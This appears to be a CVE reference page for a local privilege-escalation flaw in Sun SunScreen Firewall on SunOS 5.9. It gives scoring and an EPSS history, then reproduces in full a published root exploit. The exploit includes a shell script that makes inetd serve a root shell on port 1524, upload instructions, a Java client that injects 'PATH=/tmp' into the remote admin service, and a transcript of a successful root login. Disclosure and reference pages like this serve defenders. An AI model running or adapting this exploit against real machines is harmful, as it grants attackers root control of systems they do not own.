CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Multiple untrusted search path vulnerabilities in the Java Service in Sun Microsystems SunScreen Firewall on SunOS 5.9 allow local users to execute arbitrary code via a modified (1) PATH or (2) LD_LIBRARY_PATH environment variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.9
AV:L/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.9%
–
–
2022-04-03
–
–
1.9%
–
–
2022-04-24
–
–
1.9%
–
–
2022-09-11
–
–
1.9%
–
–
2023-03-12
–
–
–
0.05%
–
2023-09-17
–
–
–
0.05%
–
2023-09-24
–
–
–
0.05%
–
2023-10-01
–
–
–
0.04%
–
2023-10-15
–
–
–
0.04%
–
2023-12-03
–
–
–
0.04%
–
2024-03-24
–
–
–
0.04%
–
2024-04-21
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-07-14
–
–
–
0.04%
–
2024-08-04
–
–
–
0.04%
–
2024-08-11
–
–
–
0.04%
–
2024-11-17
–
–
–
0.04%
–
2024-12-22
–
–
–
0.39%
–
2025-01-19
–
–
–
0.39%
–
2025-03-18
–
–
–
–
9.11%
2025-03-30
–
–
–
–
7.51%
2025-04-15
–
–
–
–
6.93%
2025-04-15
–
–
–
–
6.93,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2011-01-24 23h00 +00:00 Author : kingcope EDB Verified : No
/*
Sun Microsystems SunScreen Firewall Root Exploit
discovered & exploited by Kingcope
January 2011
The SunScreen Firewall can be administrated remotely via a java protocol service
which is running on port 3858 on a SunOS machine.
This Java Service contains numerous buffer overruns (2 of which I am aware of).
Furthermore it is possible to execute arbitrary code if an attacker manages
to upload a file onto the target system.
As you can see in the following java exploit code the environment
is not properly sanitized prior to executing shell scripts as root,
thus one can use the LD technique to preload binaries or even easier
modify the PATH variable to forge the ´cat´ binary (which is executed by lib/screenname)
to be executed in a different place.
This can be exploited locally - remotely especially if anonymous ftp uploads
are possible or any other file transfer protocol is activated. Uploading
a file via the line printer daemon might also be possible.
This has been tested on a SunOS 5.9.
The shell script to be forged as the ´cat´ binary..
#!/bin/sh
echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;
/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x
echo "+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++"
#---
upload above shell script to /PATH/cat
chmod a+x /PATH/cat
supply target and PATH envvar to exploit
Opens a root shell on port 1524/tcp (ingreslock)
A successfull exploit looks like
$ java SimpleClient
? ??ð? &Connection accepted, no authentication¶? O
+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED Y
A+++
$ telnet 192.168.2.3 1524
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.
# /bin/uname -a;
SunOS unknown 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10
^M: not found
# /b
in/id;
uid=0(root) gid=1(other)
^M: not found
#
*/
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.DateFormat;
public class SimpleClient {
public static void main(String args[]) {
String str;
try {
Socket s1 = new Socket("192.168.2.3", 3853);
InputStream is = s1.getInputStream();
DataInputStream dis = new DataInputStream(is);
OutputStream s1out = s1.getOutputStream();
DataOutputStream dos = new DataOutputStream(s1out);
dos.writeByte(1);
dos.writeByte(0);
dos.writeShort(0);
dos.writeInt(0);
dos.writeByte(3);
dos.writeByte(0);
dos.writeShort(2000);
dos.writeShort(0);
dos.writeShort(0);
dos.writeUTF("0xtest");
dos.writeByte(3);
dos.writeByte(1);
dos.writeByte(1);
dos.writeByte(1);
dos.writeInt(3);
dos.writeInt(0);
dos.writeInt(0);
dos.writeUTF("PATH=/tmp");
dos.writeUTF("lib/screenname");
dos.writeUTF("admin1");
str = dis.readLine();
System.out.println(str);
str = dis.readLine();
System.out.println(str);
dis.close();
dos.close();
s1.close();
} catch (ConnectException connExc) {
System.err.println("Could not connect to the server.");
} catch (IOException e) {
// foo
}
}
}
Products Mentioned
Configuraton 0
Oracle>>Sun_microsystems_sunscreen_firewall >> Version *